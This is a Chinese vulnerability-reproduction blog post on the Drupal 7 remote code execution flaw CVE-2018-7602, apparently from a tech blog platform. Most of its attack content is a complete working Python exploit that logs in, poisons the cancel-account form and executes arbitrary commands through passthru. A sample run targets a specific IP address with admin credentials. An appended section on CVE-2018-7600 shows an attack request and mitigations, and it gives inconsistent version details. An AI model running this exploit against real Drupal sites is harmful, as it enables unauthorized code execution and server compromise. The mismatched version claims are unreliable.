漏洞复现-Drupal远程代码执行漏洞(CVE-2018-7602)

文章目录

描述

Drupal 7.x8.x 的多个子系统中存在一个远程执行代码漏洞。这可能允许攻击者利用 Drupal 站点上的多个攻击媒介,从而导致该站点受到威胁。此漏洞与 Drupal 核心 - 高度关键 - 远程代码执行 - SA-CORE-2018-002 有关。SA-CORE-2018-002 和此漏洞都在野外被利用。

POC

#!/usr/bin/env python3

import requests
import argparse
from bs4 import BeautifulSoup

def get_args():
  parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7602.py",
                    formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
                    epilog= '''
                    This script will exploit the (CVE-2018-7602) vulnerability in Drupal 7 <= 7.58
                    using an valid account and poisoning the cancel account form (user_cancel_confirm_form) 
                    with the 'destination' variable and triggering it with the upload file via ajax (/file/ajax).
                    ''')

  parser.add_argument("user", help="Username")
  parser.add_argument("password", help="Password")
  parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)")
  parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)")
  parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)")
  parser.add_argument("-x", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)")
  args = parser.parse_args()
  return args

def pwn_target(target, username, password, function, command, proxy):
  requests.packages.urllib3.disable_warnings()
  session = requests.Session()
  proxyConf = {'http': proxy, 'https': proxy}
  try:
    print('[*] Creating a session using the provided credential...')
    get_params = {'q':'user/login'}
    post_params = {'form_id':'user_login', 'name': username, 'pass' : password, 'op':'Log in'}
    print('[*] Finding User ID...')
    session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
    get_params = {'q':'user'}
    r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
    soup = BeautifulSoup(r.text, "html.parser")
    user_id = soup.find('meta', {'property': 'foaf:name'}).get('about')
    if ("?q=" in user_id):
      user_id = user_id.split("=")[1]
    if(user_id):
      print('[*] User ID found: ' + user_id)
    print('[*] Poisoning a form using \'destination\' and including it in cache.')
    get_params = {'q': user_id + '/cancel'}
    r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
    soup = BeautifulSoup(r.text, "html.parser")
    form = soup.find('form', {'id': 'user-cancel-confirm-form'})
    form_token = form.find('input', {'name': 'form_token'}).get('value')
    get_params = {'q': user_id + '/cancel', 'destination' : user_id +'/cancel?q[%23post_render][]=' + function + '&q[%23type]=markup&q[%23markup]=' + command }
    post_params = {'form_id':'user_cancel_confirm_form','form_token': form_token, '_triggering_element_name':'form_id', 'op':'Cancel account'}
    r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
    soup = BeautifulSoup(r.text, "html.parser")
    form = soup.find('form', {'id': 'user-cancel-confirm-form'})
    form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')
    if form_build_id:
        print('[*] Poisoned form ID: ' + form_build_id)
        print('[*] Triggering exploit to execute: ' + command)
        get_params = {'q':'file/ajax/actions/cancel/#options/path/' + form_build_id}
        post_params = {'form_build_id':form_build_id}
        r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
        parsed_result = r.text.split('[{"command":"settings"')[0]
        print(parsed_result)
  except:
    print("ERROR: Something went wrong.")
    raise

def main():
  print ()
  print ('===================================================================================')
  print ('|   DRUPAL 7 <= 7.58 REMOTE CODE EXECUTION (SA-CORE-2018-004 / CVE-2018-7602)     |')
  print ('|                                   by pimps                                      |')
  print ('===================================================================================\n')

  args = get_args() # get the cl args
  pwn_target(args.target.strip(),args.user.strip(),args.password.strip(), args.function.strip(), args.command.strip(), args.proxy.strip())


if __name__ == '__main__':
  main()

复现过程

-c 后面接命令,紧随账号,密码

python3 drupa7-CVE-2018-7602.py -c "ls /tmp" admin 123456 http://123.58.224.8:47582

在这里插入图片描述
在这里插入图片描述

### CVE-2018-7600 漏洞详情 CVE-2018-7600 是一个影响 Drupal 内核的严重远程代码执行漏洞,通常被称为“Drupalgeddon 2”。该漏洞存在于 Drupal 的 `form_set_value()` 函数中,攻击者可以通过向特定 URL 发送恶意请求来触发此漏洞并实现远程代码执行。受影响的主要版本包括 Drupal 7.x 和部分未及时更新的分支。 #### 影响范围 - **主要受影响版本**: Drupal 7.x 版本(具体为 7.30 至 7.58) - **修复后的版本**: Drupal 7.58 及更高版本[^4] --- ### 攻击方式 攻击者可以利用以下路径发起攻击: ```http POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Host: target_ip:port Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Cache-Control: no-cache form_id=user_register_form&_triggering_element_name=&_triggering_element_value= ``` 上述请求中的参数 `_triggering_element_name` 和 `_triggering_element_value` 被用于注入恶意 PHP 代码。如果目标系统未打补丁,则可能导致任意代码执行--- ### 修复方法 为了防止被攻击,应采取以下措施之一或多个组合策略: 1. **升级至安全版本** -Drupal 更新到最新稳定版本(至少为 7.58 或更高)。官方已发布针对此漏洞安全修补程序。 2. **应用临时缓解措施** - 如果无法立即完成升级,可禁用注册功能或将站点设置为维护模式以减少暴露风险。这可通过修改配置文件或管理界面实现。 ```bash drush vset user_register 0 --yes ``` 3. **部署 WAF 防护** - 使用 Web 应用防火墙(WAF),拦截可能携带恶意负载的流量。例如,ModSecurity 中可以添加自定义规则阻止敏感 URI 请求。 4. **定期审计日志** - 定期检查服务器访问日志,寻找异常行为迹象,特别是涉及 `/user/register` 接口的可疑 POST 请求。 --- ### 复现环境搭建与测试 对于研究目的,在受控环境中重现漏洞有助于理解其机制。以下是基本流程: 1. 下载易受攻击的 Drupal 版本(如 7.57)并安装; 2. 利用公开 POC 工具验证是否存在漏洞; 3. 成功后尝试上传 shell 文件或其他形式的有效载荷。 注意:仅限合法授权下的实验活动! --- ### 注意事项 即使成功修复了 CVE-2018-7600,也建议持续关注其他潜在威胁。例如,后续还出现了类似的 RCE 缺陷——CVE-2019-6340,因此保持软件始终处于最新状态至关重要[^5]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值